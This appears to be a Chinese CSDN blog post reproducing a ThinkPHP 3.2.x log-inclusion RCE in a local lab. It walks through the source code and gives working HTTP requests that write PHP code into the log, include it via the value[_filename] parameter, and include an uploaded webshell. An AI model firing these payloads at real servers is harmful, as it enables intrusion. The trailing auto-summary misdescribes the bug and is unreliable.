ThinkPHP 3.2.x RCE漏洞复现

打湖湘杯遇到一个类似的willphp题目,都审到cfile了没做出来。。。于是把这个翻出来搞了一波,过程参考了网上别的师傅的0.0

什么是ThinkPHP

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySqlPgSQLSqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。

作为一个整体开发解决方案,ThinkPHP能够解决应用开发中的大多数需要,因为其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件,并且对于跨版本、跨平台和跨数据库移植都比较方便。并且每个组件都是精心设计和完善的,应用开发过程仅仅需要关注您的业务逻辑。

环境

在这里插入图片描述
ThinkPHP3.2.3完整版

搭建成功
在这里插入图片描述

漏洞原理

在ThinkPHP3.2.3框架的程序中,如果要在模板中输出变量,需要在控制器中把变量传递给模板,系统提供了assign方法对模板变量赋值,本漏洞的利用条件为assign方法的第一个变量可控

本地代码审计

先跟进Application/Home/Controller/IndexController.class.phpassign方法中第一个变量为可控变量

在这里插入图片描述
全局搜索assign,在ThinkPHP/Library/Think/View.class.php中发现了如下内容,可控变量被赋值给了$this→tVar

在这里插入图片描述
赋值结束后进入display方法中,display方法解析并获取模板文件内容,此时还为空
在这里插入图片描述在这里解释一下模板文件,ThinkPHP内置了一个基于XML的性能卓越的模板引擎 ThinkTemplate,这是一个专门为ThinkPHP服务的内置模板引擎。ThinkTemplate是一个使用了XML标签库技术的编译型模板引擎,支持两种类型的模板标签,使用了动态编译和缓存技术,而且支持自定义标签库。

举个栗子,在模板中输出变量的方法,例如,在控制器中我们给模板变量赋值:

$name = 'ThinkPHP';
$this->assign('name',$name);
$this->display();

然后就可以在模板中使用:

Hello,{$name}!

模板编译后的结果就是:

Hello,<?php echo($name);?>

这样,运行的时候就会在模板中显示: Hello,ThinkPHP!

也就是说,assign(name,value)函数的两个变量,会把value赋值给模板中名称为name的变量

我们继续

进入fetch方法,传入的参数为空时会根据配置获取默认的模板文件位置 (./Application/Home/View/Index/index.html),之后系统配置的默认模板引擎为think,所以会进入else分支,获取 t h i s → t V a r 变 量 值 赋 值 给 this→tVar变量值赋值给 thistVarparams,之后进入Hook::listen方法
在这里插入图片描述全局搜索listen,在ThinkPHP/Library/Think/Hook.class.php中找到了方法定义,进入exec方法

在这里插入图片描述
进入exec方法中,处理后调用Behavior\ParseTemplateBehavior类中的run方法处理$params这个带有日志文件路径的值

在这里插入图片描述
全局搜索run方法,跟进ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php,进入else分支调用Think\Template类中的fetch方法对变量$_data(为带有日志文件路径的变量值)进行处理。

在这里插入图片描述
跟进ThinkPHP/Library/Think/Template.class.php,获取缓存文件路径后进入Storage的load方法中
在这里插入图片描述
跟进到ThinkPHP/Library/Think/Storage/Driver/File.class.php的load方法中, f i l e n a m e 为 之 前 获 取 的 缓 存 文 件 路 径 , _filename为之前获取的缓存文件路径, filenamevars则为之前带有_filename=日志文件路径的数组,$vars不为空则使用extract方法的EXTR_OVERWRITE默认描述对变量值进行覆盖,之后include该日志文件路径,导致文件包含,触发ThinkPHP 3.x Log RCE漏洞
在这里插入图片描述

漏洞利用

首先访问
在这里插入图片描述
请求数据包

payload

/tp3/index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>

数据包

GET /tp3/index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?> HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=001umblca9soshaqg0j13kmjs5
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

在这里插入图片描述
bp抓包防止一些字符被浏览器编码
在这里插入图片描述
查看日志文件发现成功写入

接下来构造攻击请求

GET /tp3/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_11_21.log HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=001umblca9soshaqg0j13kmjs5
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

芜湖~~

在这里插入图片描述

拿下
在这里插入图片描述
这次我们试下一句话木马

上传具有恶意代码的任何文件到服务器上,直接包含其文件相对或绝对路径即可
在这里插入图片描述
payload

http://localhost/tp3/index.php?m=Home&c=Index&a=index&value[_filename]=./attack.php

在这里插入图片描述
拿来吧你!
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ThinkPHP是一个开源的PHP开发框架,它的版本3.2.x是一个老版本,存在远程命令执行(RCE漏洞。这个漏洞允许攻击者通过构造恶意请求来执行任意的系统命令,从而获得对应用服务器的完全控制权限。 这个漏洞的原因是在ThinkPHP 3.2.x版本的核心代码中没有对用户的输入进行充分的过滤和校验。攻击者可以利用这个漏洞来执行各种恶意操作,比如上传恶意文件、修改数据库内容或者获取系统敏感信息等。 为了利用这个漏洞,攻击者需要构造一个特殊的请求,其中包含可执行的系统命令。然后将这个请求发送到受影响的应用程序的漏洞点上。当应用程序在处理这个请求时,会将其中的系统命令当作可执行代码来执行,最终导致攻击者获取对应用服务器的控制权限。 为了修复这个漏洞,用户可以升级到最新版本的ThinkPHP框架。在最新版本中,开发者已经修复了这个漏洞,并加强了对用户输入的过滤和校验。此外,用户还可以根据自己的需求对应用程序进行进一步的安全加固,比如限制上传文件的类型和大小,对用户输入进行严格的过滤和校验等。 总之,ThinkPHP 3.2.x版本存在远程命令执行漏洞,攻击者可以通过构造恶意请求来执行任意的系统命令。为了修复这个漏洞,用户可以升级到最新版本的ThinkPHP框架,并加强应用程序的安全加固措施。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值